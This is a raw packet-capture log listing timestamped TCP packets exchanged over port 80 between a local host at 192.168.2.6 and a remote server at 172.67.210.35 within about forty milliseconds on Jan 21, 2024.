Jan 21, 2024 17:27:12.980392933 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.980406046 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.980420113 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.980422020 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.980460882 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.981203079 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.981219053 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.981231928 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.981245995 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.981261015 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.981277943 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.981286049 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.981308937 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.981961012 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.981976032 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.982014894 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.982053041 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.982065916 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.982080936 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.982100964 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.982868910 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.982883930 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.982897043 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.982911110 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.982911110 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.982925892 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.982935905 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.982980967 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.983695030 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.983709097 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.983721018 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.983736038 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.983742952 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.983748913 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.983771086 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.984498978 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.984513044 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.984527111 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.984539032 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.984550953 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.984577894 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.984596968 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.984607935 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.985315084 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.985330105 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.985342979 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.985364914 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.985366106 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.985390902 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.985589981 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.986143112 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.986157894 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.986183882 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.986193895 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.986207008 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.986218929 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.986304045 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.986304045 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.986939907 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.987014055 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.987027884 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.987041950 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.987052917 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.987056971 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.987096071 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.987859011 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.987874031 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.987886906 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.987890959 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.987900972 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.987912893 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.987921000 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.987961054 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.988636017 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.988651037 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.988665104 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.988684893 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.988692999 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.988706112 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.988827944 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.989453077 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.989487886 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.989500999 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.989515066 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.989527941 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.989542007 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.989547014 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.989583969 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.990274906 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.990289927 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.990323067 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.990365982 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.990377903 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.990386009 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.990432024 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.991151094 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.991164923 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.991177082 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.991189957 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.991192102 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.991204977 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.991224051 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.991255999 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.992011070 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.992027044 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.992038965 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.992053986 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.992067099 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.992070913 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.992104053 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.992796898 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.992811918 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.992831945 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.992842913 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.992845058 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.992857933 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.992894888 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.992904902 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.993642092 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.993657112 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.993675947 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.993690014 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.993695021 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.993702888 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.993732929 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.994518042 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.994532108 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.994544029 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.994556904 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.994561911 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.994570017 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.994587898 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.994626045 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.995276928 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.995291948 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.995318890 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.995327950 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.995333910 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.995347023 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.995374918 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.996104002 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.996117115 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.996129990 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.996150017 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.996165037 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.996177912 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.996186972 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.996220112 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.996926069 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.996941090 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.996978998 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.996980906 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.996993065 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.997004986 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.997026920 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.997812986 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.997827053 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.997840881 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.997853994 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.997868061 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.997869015 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.997914076 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.998565912 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.998625040 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.998639107 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.998651981 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.998665094 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.998670101 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.998706102 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.999454021 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.999468088 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.999481916 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.999495029 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.999496937 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.999507904 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.999537945 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.999567032 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.000375032 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.000389099 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.000396013 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.000407934 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.000421047 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.000432014 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.000477076 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.001152039 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.001164913 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.001183987 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.001195908 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.001209021 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.001209974 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.001252890 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.001280069 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.001967907 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.001981974 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.001992941 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.002007008 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.002013922 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.002021074 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.002052069 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.002825975 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.002840996 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.002852917 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.002862930 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.002866983 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.002892971 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.002893925 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.002929926 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.003607988 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.003621101 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.003633022 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.003645897 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.003659010 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.003659964 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.003694057 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.004457951 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.004472017 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.004483938 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.004498005 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.004498005 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.004512072 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.004523993 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.004555941 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.005302906 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.005317926 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.005330086 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.005342960 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.005350113 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.005357027 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.005383015 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.006151915 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.006165028 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.006179094 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.006192923 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.006194115 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.006207943 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.006242037 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.006262064 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.006917000 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.006931067 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.006942987 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.006958008 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.006963968 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.006970882 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.007004023 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.007738113 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.007761002 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.007778883 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.007781982 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.007796049 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.007817030 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.007821083 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.007855892 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.008624077 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.008637905 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.008656979 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.008670092 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.008682966 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.008703947 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.008729935 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.009427071 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.009440899 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.009454012 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.009466887 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.009480953 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.009490967 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.009506941 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.009531021 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.010215044 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.010251999 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.010267019 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.010289907 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.010294914 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.010304928 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.010339022 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.015139103 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.015153885 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.015165091 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.015185118 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.015214920 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.015258074 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.015337944 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.015351057 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.015362978 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.015374899 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.015376091 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.015434027 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.016182899 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.016196966 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.016208887 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.016222954 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.016227007 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.016242027 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.016247034 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.016285896 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.016978979 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.016993999 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.017024040 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.017033100 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.017036915 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.017050028 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.017096043 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.017816067 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.017831087 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.017844915 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.017858982 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.017862082 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.017873049 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.017879009 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.017929077 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.018589020 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.018609047 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.018646002 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.018661976 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.018675089 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.018687963 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.018728018 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.019485950 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.019500017 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.019516945 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.019526005 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.019531012 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.019546032 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.019558907 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.019608974 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.020312071 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.020329952 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.020344019 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.020376921 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.020757914 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.020773888 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.020786047 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.020798922 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.020803928 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.020812988 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.020822048 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.020850897 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.021563053 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.021575928 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.021589994 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.021605968 CET	80	49713	172.67.210.35	192.168.2.6
